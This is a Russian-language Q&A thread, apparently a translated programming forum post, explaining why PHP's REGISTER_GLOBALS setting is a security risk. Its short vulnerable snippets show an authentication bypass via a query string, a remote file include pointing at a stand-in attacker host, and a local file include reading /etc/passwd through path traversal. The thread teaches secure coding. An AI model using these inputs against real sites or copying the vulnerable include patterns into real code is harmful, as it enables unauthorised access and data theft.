Почему REGISTER_GLOBALS так плохо?

Я не разработчик PHP, но я видел в нескольких местах, что люди, похоже, воспринимают это как чуму или что-то в этом роде. Зачем?

REGISTER_GLOBALS означает, что все переменные, прошедшие через GET или POST, являются avilable глобальными переменными в вашем скрипте. Поскольку доступ к необъявленным переменным не является ошибкой в ​​PHP (это предупреждение), это может привести к очень неприятным ситуациям. Рассмотрим это, например:

 <?php // $debug = true; if ($debug) { echo "query: $query\n"; } 

Это не плохая вещь сама по себе (хорошо спроектированный код не должен генерировать предупреждения, поэтому не должен иметь доступ к каким-либо переменным, которые могут быть необъявленными (и по этой же причине не должны быть REGISTER_GLOBALS )), но PHP-код обычно [очень] низкого качества , что ведет к таким дырам в безопасности.

Включение REGISTER_GLOBALS предоставляет веб-страницы, обслуживаемые PHP, для уязвимостей, которые некоторые плохие парни будут стремиться использовать.

С его помощью любая строка запроса в конце URL-адреса:

 http://yourdomain/something.php?valid=true 

будет влиять на значение переменной $ valid (например) в something.php, если оно существует .

Если вы используете общедоступный PHP-код (например, в библиотеке), имена переменных хорошо известны, и хакеры смогут контролировать свои значения, назначая значения в строке запроса. Они могут обходить аутентификацию.

Даже если вы не используете общедоступный код, возможно угадать имена важных переменных и контролировать их значения.

Раньше по умолчанию было установлено REGISTER_GLOBALS в PHP.INI

Недавняя практика заключалась в том, чтобы отключить его по умолчанию. Включите его на свой страх и риск!

Просто добавьте, вот некоторые ситуации, когда включение REGISTER_GLOBALS может испортить ваш день:

Использование строки запроса для обхода контроля доступа (взломать с помощью http://example.com/?logged=1 ):

 <?php $logged = User::getLogged(); if ($logged) { include '/important/secret.php'; } ?> 

Включение удаленного файла (RFI):

 <?php //http://example.com/?path=http://evilbadthings.example.com/ include "$path"; ?> 

Включение локального файла (LFI):

 <?php //http://example.com/?path=../../../../etc/passwd include "$path"; ?> 

Поскольку он позволяет пользователю вводить любую глобальную переменную в ваш код без какого-либо контроля.

Основываясь на качестве кода, он может содержать основные ошибки безопасности.